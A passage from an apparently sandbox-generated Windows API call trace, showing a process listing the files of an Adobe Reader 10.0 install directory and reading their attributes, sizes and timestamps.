lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader", cAlternateFileName="")) returned 1 [0081.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.123] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0081.123] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.124] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0081.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258d90 [0081.124] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258d90, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1258d90, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0081.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258d90) returned 1 [0081.124] NtClose (Handle=0x178) returned 0x0 [0081.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b4a0 [0081.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0081.125] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0081.125] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.126] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x32398, dwReserved0=0x0, dwReserved1=0x0, cFileName="A3DUtils.dll", cAlternateFileName="")) returned 1 [0081.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0081.126] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0081.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0081.126] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0081.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0081.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0081.127] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x803069c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc7d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACE.dll", cAlternateFileName="")) returned 1 [0081.127] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x47f98, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroBroker.exe", cAlternateFileName="")) returned 1 [0081.127] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrofx32.dll", cAlternateFileName="")) returned 1 [0081.127] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16a0398, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32.dll", cAlternateFileName="")) returned 1 [0081.127] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13ad98, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32.exe", cAlternateFileName="")) returned 1 [0081.127] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x803069c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x45a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32Info.exe", cAlternateFileName="")) returned 1 [0081.127] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbfa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroTextExtractor.exe", cAlternateFileName="")) returned 1 [0081.127] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.Reader.Dependencies.manifest", cAlternateFileName="")) returned 1 [0081.127] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80541e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x128fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.exe", cAlternateFileName="")) returned 1 [0081.127] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de214c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb8fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeLinguistic.dll", cAlternateFileName="")) returned 1 [0081.127] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37398, dwReserved0=0x0, dwReserved1=0x0, cFileName="adoberfp.dll", cAlternateFileName="")) returned 1 [0081.127] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x803069c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a598, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeXMP.dll", cAlternateFileName="")) returned 1 [0081.127] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80352c80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53f988, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGM.dll", cAlternateFileName="")) returned 1 [0081.127] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGMGPUOptIn.ini", cAlternateFileName="")) returned 1 [0081.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x366c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ahclient.dll", cAlternateFileName="")) returned 1 [0081.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIR", cAlternateFileName="")) returned 1 [0081.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5ef398, dwReserved0=0x0, dwReserved1=0x0, cFileName="authplay.dll", cAlternateFileName="")) returned 1 [0081.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXE8SharedExpat.dll", cAlternateFileName="")) returned 1 [0081.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x91590, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXSLE.dll", cAlternateFileName="")) returned 1 [0081.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1af88, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIB.dll", cAlternateFileName="")) returned 1 [0081.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBUtils.dll", cAlternateFileName="")) returned 1 [0081.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d95e8c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Browser", cAlternateFileName="")) returned 1 [0081.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_base.dll", cAlternateFileName="")) returned 1 [0081.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff9aa20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2aa998, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoolType.dll", cAlternateFileName="")) returned 1 [0081.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802945a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptocme2.dll", cAlternateFileName="")) returned 1 [0081.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x647, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptocme2.sig", cAlternateFileName="")) returned 1 [0081.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17190, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eula.exe", cAlternateFileName="")) returned 1 [0081.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa3ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtendScript.dll", cAlternateFileName="")) returned 1 [0081.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb03a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="icucnv40.dll", cAlternateFileName="")) returned 1 [0081.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17790, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt40.dll", cAlternateFileName="")) returned 1 [0081.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x837d71e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd46fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt40_full.dll", cAlternateFileName="")) returned 1 [0081.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1131a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="icuuc40.dll", cAlternateFileName="")) returned 1 [0081.128] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDTemplates", cAlternateFileName="")) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Javascripts", cAlternateFileName="")) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa6790, dwReserved0=0x0, dwReserved1=0x0, cFileName="JP2KLib.dll", cAlternateFileName="")) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Legal", cAlternateFileName="")) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locale", cAlternateFileName="")) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e1a400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x59de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logsession.dll", cAlternateFileName="")) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4d1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.exe", cAlternateFileName="")) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: 